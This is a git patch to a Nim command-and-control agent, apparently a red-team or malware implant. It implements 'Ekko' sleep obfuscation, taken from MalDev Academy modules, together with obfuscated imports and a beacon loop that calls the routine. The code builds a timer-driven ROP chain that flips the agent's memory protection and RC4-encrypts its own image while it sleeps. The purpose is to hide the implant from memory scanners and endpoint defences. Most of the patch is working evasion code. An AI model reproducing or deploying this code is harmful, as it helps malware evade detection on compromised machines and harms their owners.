From d3e0d5e6dedf073c7a4b12f702a99ef16ca10219 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Wed, 27 Aug 2025 11:37:07 +0200 Subject: [PATCH] Implemented Ekki according to MalDev module with both Native API and WinAPI; fixing race condition for both implementations. --- src/agent/core/sleepmask.nim | 284 ++++++++++++++++++----------------- src/agent/main.nim | 6 +- 2 files changed, 146 insertions(+), 144 deletions(-) diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index d06aa4d..282003d 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -7,7 +7,6 @@ import sugar # Sleep obfuscation implementation based on Ekko, originally developed by C5pider # The code in this file was taken from the MalDev Academy modules 54,56 & 59 and translated from C to Nim # https://maldevacademy.com/new/modules/54?view=blocks - type USTRING* {.bycopy.} = object Length*: DWORD @@ -18,36 +17,27 @@ type NotificationEvent, SynchronizationEvent -# Required Windows APIs -proc RegisterWaitForSingleObject*(phNewWaitObject: PHANDLE, hObject: HANDLE, Callback: WAITORTIMERCALLBACK, Context: PVOID, dwMilliseconds: ULONG, dwFlags: ULONG): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.} -proc CreateTimerQueueTimer*(phNewTimer: PHANDLE, TimerQueue: HANDLE, Callback: WAITORTIMERCALLBACK, Parameter: PVOID, DueTime: DWORD, Period: DWORD, Flags: ULONG): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.} -proc DeleteTimerQueue*(TimerQueue: HANDLE): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.} -proc CreateEventW*(lpEventAttributes: LPSECURITY_ATTRIBUTES, bManualReset: WINBOOL, bInitialState: WINBOOL, lpName: LPCWSTR): HANDLE {.winapi, stdcall, dynlib: "kernel32", importc.} -# proc WaitForSingleObject*(hHandle: HANDLE, dwMilliseconds: DWORD): DWORD {.winapi, stdcall, dynlib: "kernel32", importc.} - +# Required APIs # https://ntdoc.m417z.com/rtlcreatetimerqueue -proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").} # https://ntdoc.m417z.com/ntcreateevent -proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").} # https://ntdoc.m417z.com/rtlcreatetimer (Using FARPROC instead of PRTL_TIMER_CALLBACK, as thats the type of NtContinue) -proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} # https://ntdoc.m417z.com/ntsignalandwaitforsingleobject -proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} -# proc NtWaitForSingleObject(hHandle: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} - - -proc sleepMask*(sleepDelay: int) = +proc sleepEkko*(sleepDelay: int) = var status: NTSTATUS = 0 key: USTRING = USTRING(Length: 0) img: USTRING = USTRING(Length: 0) - ctx: array[6, CONTEXT] + ctx: array[7, CONTEXT] ctxInit: CONTEXT hEvent: HANDLE - eventStart: HANDLE - eventEnd: HANDLE + hEventStart: HANDLE + hEventEnd: HANDLE queue: HANDLE timer: HANDLE value: DWORD = 0 @@ -60,7 +50,6 @@ proc sleepMask*(sleepDelay: int) = # Locate image base and size var imageBase = GetModuleHandleA(NULL) var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage - # echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)" img.Buffer = cast[PVOID](imageBase) @@ -71,139 +60,156 @@ proc sleepMask*(sleepDelay: int) = key.Buffer = rnd.addr key.Length = cast[DWORD](rnd.len()) - # # Create timer queue - # status = RtlCreateTimerQueue(addr queue) - # if status != STATUS_SUCCESS: - # raise newException(CatchableError, $status) + # Create timer queue + status = RtlCreateTimerQueue(addr queue) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status) - # # Create events - # status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) - # if status != STATUS_SUCCESS: - # raise newException(CatchableError, $status) + # Create events + status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status) - # status = NtCreateEvent(addr eventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) - # if status != STATUS_SUCCESS: - # raise newException(CatchableError, $status) + status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status) - # status = NtCreateEvent(addr eventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) - # if status != STATUS_SUCCESS: - # raise newException(CatchableError, $status) + status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status) - # delay += 100 - # status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) - # if status == STATUS_SUCCESS: + status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD) + if status == STATUS_SUCCESS: - # # Prepare ROP Chain - # # Initially, each element in this array will have the same context as the timer's thread context - # for i in 0 ..< ctx.len(): - # copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) - # dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer - - # # ROP Chain - # # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. - # ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) - # ctx[0].Rcx = cast[DWORD64](eventStart) - # ctx[0].Rdx = cast[DWORD64](INFINITE) - # ctx[0].R8 = cast[DWORD64](NULL) + status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD) + if status == STATUS_SUCCESS: - # # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] - # ctx[1].Rip = cast[DWORD64](VirtualProtect) - # ctx[1].Rcx = cast[DWORD64](imageBase) - # ctx[1].Rdx = cast[DWORD64](imageSize) - # ctx[1].R8 = PAGE_READWRITE - # ctx[1].R9 = cast[DWORD64](addr value) + WaitForSingleObject(hEvent, 0x32) - # # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. - # ctx[2].Rip = cast[DWORD64](SystemFunction032) - # ctx[2].Rcx = cast[DWORD64](addr img) - # ctx[2].Rdx = cast[DWORD64](addr key) - - # # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. - # ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) - # ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) - # ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) - # # ctx[3].R8 = cast[DWORD64](FALSE) - - # # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory - # ctx[4].Rip = cast[DWORD64](SystemFunction032) - # ctx[4].Rcx = cast[DWORD64](addr img) - # ctx[4].Rdx = cast[DWORD64](addr key) - - # # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] - # ctx[5].Rip = cast[DWORD64](VirtualProtect) - # ctx[5].Rcx = cast[DWORD64](imageBase) - # ctx[5].Rdx = cast[DWORD64](imageSize) - # ctx[5].R9 = cast[DWORD64](addr value) - - # # ctx[6] contains the call to the SetEvent WinAPI that will set eventEnd event object in a signaled state. This with signal that the obfuscation chain is complete - # ctx[6].Rip = cast[DWORD64](SetEvent) - # ctx[6].Rcx = cast[DWORD64](eventEnd) - - # echo "[*] Queue sleep obfuscation chain" - - # # Execute timers - # for i in 0 ..< ctx.len(): - # delay += 100 - # status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) - # if status != STATUS_SUCCESS: - # raise newException(CatchableError, $status) + # Prepare ROP Chain + # Initially, each element in this array will have the same context as the timer's thread context + for i in 0 ..< ctx.len(): + copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) + dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer - # echo "[*] Trigger sleep obfuscation chain" + # ROP Chain + # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. + ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[0].Rcx = cast[DWORD64](hEventStart) + ctx[0].Rdx = cast[DWORD64](INFINITE) + ctx[0].R8 = cast[DWORD64](NULL) - # status = NtSignalAndWaitForSingleObject(eventStart, eventEnd, FALSE, NULL) - # if status != STATUS_SUCCESS: - # raise newException(CatchableError, $status) + # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] + ctx[1].Rip = cast[DWORD64](VirtualProtect) + ctx[1].Rcx = cast[DWORD64](imageBase) + ctx[1].Rdx = cast[DWORD64](imageSize) + ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) + ctx[1].R9 = cast[DWORD64](addr value) - hEvent = CreateEventW(nil, 0, 0, nil) - queue = CreateTimerQueue() + # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. + ctx[2].Rip = cast[DWORD64](SystemFunction032) + ctx[2].Rcx = cast[DWORD64](addr img) + ctx[2].Rdx = cast[DWORD64](addr key) + + # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. + ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) + ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) + ctx[3].R8 = cast[DWORD64](FALSE) + + # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory + ctx[4].Rip = cast[DWORD64](SystemFunction032) + ctx[4].Rcx = cast[DWORD64](addr img) + ctx[4].Rdx = cast[DWORD64](addr key) + + # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] + ctx[5].Rip = cast[DWORD64](VirtualProtect) + ctx[5].Rcx = cast[DWORD64](imageBase) + ctx[5].Rdx = cast[DWORD64](imageSize) + ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) + ctx[5].R9 = cast[DWORD64](addr value) + + # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete + ctx[6].Rip = cast[DWORD64](SetEvent) + ctx[6].Rcx = cast[DWORD64](hEventEnd) + + # Execute timers + for i in 0 ..< ctx.len(): + delay += 100 + status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status) + + echo "[*] Triggering sleep obfuscation" + + status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status) + + # queue = CreateTimerQueue() + # hEvent = CreateEventW(nil, 0, 0, nil) + # hEventStart = CreateEventW(nil, 0, 0, nil) + # hEventEnd = CreateEventW(nil, 0, 0, nil) + + # if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD): + + # if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](SetEvent), addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD): + + # # Wait until the threat context has been retrieved + # WaitForSingleObject(hEvent, 0x32) + + # # Prepare ROP Chain + # # Initially, each element in this array will have the same context as the timer's thread context + # for i in 0 ..< ctx.len(): + # copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) + # dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer + + # # Ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. + # ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) + # ctx[0].Rcx = cast[DWORD64](hEventStart) + # ctx[0].Rdx = cast[DWORD64](INFINITE) + # ctx[0].R8 = cast[DWORD64](NULL) + + # # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] + # ctx[1].Rip = cast[DWORD64](VirtualProtect) + # ctx[1].Rcx = cast[DWORD64](imageBase) + # ctx[1].Rdx = cast[DWORD64](imageSize) + # ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) + # ctx[1].R9 = cast[DWORD64](addr value) - if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD): + # # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. + # ctx[2].Rip = cast[DWORD64](SystemFunction032) + # ctx[2].Rcx = cast[DWORD64](addr img) + # ctx[2].Rdx = cast[DWORD64](addr key) - WaitForSingleObject(hEvent, 0x32) + # # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. + # ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) + # ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) + # ctx[3].Rdx = cast[DWORD64](sleepDelay) + # ctx[3].R8 = cast[DWORD64](FALSE) - # Prepare ROP Chain - # Initially, each element in this array will have the same context as the timer's thread context - for i in 0 ..< ctx.len(): - copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) - dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer + # # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory + # ctx[4].Rip = cast[DWORD64](SystemFunction032) + # ctx[4].Rcx = cast[DWORD64](addr img) + # ctx[4].Rdx = cast[DWORD64](addr key) - # Change memory protection to [RW-] - ctx[0].Rip = cast[DWORD64](VirtualProtect) - ctx[0].Rcx = cast[DWORD64](imageBase) - ctx[0].Rdx = cast[DWORD64](imageSize) - ctx[0].R8 = PAGE_READWRITE - ctx[0].R9 = cast[DWORD64](addr value) - - # Encrypt image memory using RC4 via the SystemFunction032 function - ctx[1].Rip = cast[DWORD64](SystemFunction032) - ctx[1].Rcx = cast[DWORD64](addr img) - ctx[1].Rdx = cast[DWORD64](addr key) - - # Delay execution until a specific timeout has been reached - ctx[2].Rip = cast[DWORD64](WaitForSingleObject) - ctx[2].Rcx = cast[DWORD64](GetCurrentProcess()) - ctx[2].Rdx = cast[DWORD64](sleepDelay) - - # Decrypt the image memory back to its original state - ctx[3].Rip = cast[DWORD64](SystemFunction032) - ctx[3].Rcx = cast[DWORD64](addr img) - ctx[3].Rdx = cast[DWORD64](addr key) - - # Change the memory protection back to [RWX] - ctx[4].Rip = cast[DWORD64](VirtualProtect) - ctx[4].Rcx = cast[DWORD64](imageBase) - ctx[4].Rdx = cast[DWORD64](imageSize) - ctx[4].R8 = PAGE_EXECUTE_READWRITE - ctx[4].R9 = cast[DWORD64](addr value) - - # Signal that the obfuscation chain was completed - ctx[5].Rip = cast[DWORD64](SetEvent) - ctx[5].Rcx = cast[DWORD64](hEvent) + # # ctx[5] contains the call to VirtualProtect to change the payload memory back to [RWX] + # ctx[5].Rip = cast[DWORD64](VirtualProtect) + # ctx[5].Rcx = cast[DWORD64](imageBase) + # ctx[5].Rdx = cast[DWORD64](imageSize) + # ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) + # ctx[5].R9 = cast[DWORD64](addr value) + + # # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete + # ctx[6].Rip = cast[DWORD64](SetEvent) + # ctx[6].Rcx = cast[DWORD64](hEventEnd) - for i in 0 ..< ctx.len(): - delay += 100 - CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](NtContinue), addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) + # for i in 0 ..< ctx.len(): + # delay += 100 + # CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](NtContinue), addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) - WaitForSingleObject(hEvent, INFINITE) + # echo "[*] Triggering sleep obfuscation." - DeleteTimerQueue(queue) \ No newline at end of file + # SignalObjectAndWait(hEventStart, hEventEnd, INFINITE, FALSE) + + # DeleteTimerQueue(queue) \ No newline at end of file diff --git a/src/agent/main.nim b/src/agent/main.nim index 1fab966..764e722 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -35,11 +35,7 @@ proc main() = while true: - # TODO: Replace with actual sleep obfuscation that encrypts agent memory - - sleepMask(ctx.sleep * 1000) - - # sleep(ctx.sleep * 1000) + sleepEkko(ctx.sleep * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in."